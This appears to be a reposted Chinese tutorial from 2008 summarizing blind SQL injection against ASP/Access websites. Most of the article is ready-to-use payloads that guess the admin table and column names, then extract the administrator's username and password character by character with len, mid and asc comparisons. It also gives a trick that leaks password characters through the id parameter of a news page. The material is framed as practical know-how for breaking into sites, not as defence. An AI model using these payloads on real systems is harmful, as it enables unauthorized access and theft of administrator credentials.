用户登录  |  傲看软件园 用户注册
文章中心广告代码ASP源码PHP源码JSP源码.NET源码源码相关傲看留言板繁體中文
当前位置:傲看软件园文章中心游戏娱乐

Injection的猜测技术的一些相关总结

减小字体 增大字体 作者:无从考证  来源:中国站长学院  发布时间:2008-10-10 21:18:39
学习的最好方法就是定期总结自己的学习笔记:)开始吧

通过1=1和1=2来简单检测页面的脚本安全性这里已经没必要再说了

在前阵子发的本周日程中列入了以下的计划 现在把他完善

先说我们通过
0<>(select count(*) from admin)
这里的admin就是我们猜测的存放管理员信息的表 现在假设猜测到了
0<>(select count(*) from admin where username<>'')
猜测admin表里用来存放用户名的列叫username
0<>(select count(*) from admin where password<>'')
猜测admin表里用来存放密码的列叫password
假设已经对了 此时我们就可以在页面直接用
and 'EvilOctal''=(select username from admin where username='EvilOctal')
猜解管理员的名字 其实不用猜测 因为一般名字都可以在文章或者软件的添加者那里找到
仔细看就可以发现我们每句都只有一个未知参数 我都用黑体表示了

<1>可以找到管理员用户名的情况下进行直接猜解密码
密码长度我们猜测是5位
and 'EvilOctal'=(select username from admin where len(password)=5)
密码的前5位是admin
and 'EvilOctal'=(select username from admin where left(password,5)='admin')

<2>无法得到管理员用户名的情况下用id进行猜解而逐位猜测用户名
已经无法在页面找到管理员的名字了 那就这样
and 1=(select min(id) from admin)
假设对了我们就知道管理员的最小id是1 那就猜测名字长度
and 1=(select min(id) from admin where len(username)=9)
管理员的名字是9位的 那每一位是什么呢 我们猜测管理员用户名左边开始第二位是v
and 1=(select min(id) from admin where mid(username,2,1)='v')
假设全部猜测出来 EvilOctal 现在来看密码
and 1=(select min(id) from admin where len(password)>7)
以上是猜测密码为数范围 如果确定为数就可以直接猜测 以下两句
and 'EvilOctal'=(select username from admin where left(password,5)='admin')
上面是说猜测密码的前5位是admin 下面的则说密码的第5位是n
and 1=(select min(id) from admin where mid(password,5,1)='n')

<3>管理员密码中文的情况下使用ascii转换进行猜测
至于转换ascii猜测的方法
取得id后可以这样使用你所取得的id 这里假设是1
那么 用户名长度就应该这样猜
and 1=(select id from admin where len(admin)=9)
然后猜测用户名转换ascii句子自己对比 下面的意思都是猜测管理员名左边第二位是t 前一句比较常用
and 1=(select id from admin where asc(mid(admin,2,1))=116)
and 1=(select min(id) from admin where mid(username,2,1)='t')
至于密码 看 以下两句都是说猜测密码的第2位是t
and 1=(select id from admin where asc(mid(password,2,1))=116)
and 1=(select min(id) from admin where mid(password,2,1)='t')

以上就是我的一点小总结 希望能在注入中有所提高......

下面是论坛高手oldduck说的一个新思路的小方法
也许很多高手都已经想到了 甚至熟练掌握了 我比较菜 当新东西发了
高手oldduck的话:
找到一个页面可以显示新闻的漏洞页面,比如show.asp?id=123
然后用
show.asp?id=(select top 1 len(password) from admin)
假设有新闻成功显示
字段库名都是正确的情况下 到列表页面或者搜索页面找到这则文章看链接
假设是show.asp?id=6 那么长度就是6

然后猜1到6位的密码
show.asp?id=(select top 1 asc(mid(password,1,1)) from admin)
用同样的方法找到链接 看id值 再从ascii表中查出字符

如果显示找不到新闻的话 可以用
show.asp?id=(select top 1 asc(mid(password,1,1)) from admin)-(-10)
这样来加一个基数 或者减一个数
......

方法真是coolB了

Tags:

作者:无从考证

文章评论评论内容只代表网友观点,与本站立场无关!

   评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论

精品栏目导航

关于本站 | 网站帮助 | 广告合作 | 下载声明 | 友情连接 | 网站地图
冀ICP备08004437号 | 客服Q:354766721 | 交流群83228313
傲看软件园 - 绿色软件,破解软件下载站! 源码网 源码之家 绿软之家
Copyright © 2003-2010 OkHan.Net. All Rights Reserved .
页面执行时间:6,953.12500 毫秒
Powered by:OkHan CMS Version 4.0.0 SP2